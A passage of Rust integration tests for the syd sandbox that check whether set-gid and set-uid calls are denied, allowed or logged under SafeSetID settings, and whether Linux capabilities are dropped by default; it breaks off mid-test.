    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_root_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_allow_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_drop_cap_sys_ptrace_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");

    // Ptrace must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_drop_cap_sys_ptrace_exec_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");

    // Ptrace is kept with trace/allow_unsafe_ptrace:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_drop_cap_chown_exec_default() -> TestResult {
    skip_unless_cap!("chown");

    // CAP_CHOWN must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_drop_cap_chown_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_drop_cap_chown_exec_allow_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_chown:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_drop_cap_setgid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // CAP_SETGID must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_drop_cap_setgid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_drop_cap_setgid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_drop_cap_setuid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // CAP_SETUID must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_drop_cap_setuid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_drop_cap_setuid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_drop_cap_net_bind_service_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_bind:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_drop_cap_net_raw_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_socket:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_drop_cap_sys_time_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_time:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_drop_cap_syslog_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be dropped by default.
    let status = syd()
        .p("off")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_syslog:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_drop_cap_sys_ptrace_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");
    skip_unless_available!("cc", "sh");

    // Ptrace must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_drop_cap_sys_ptrace_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
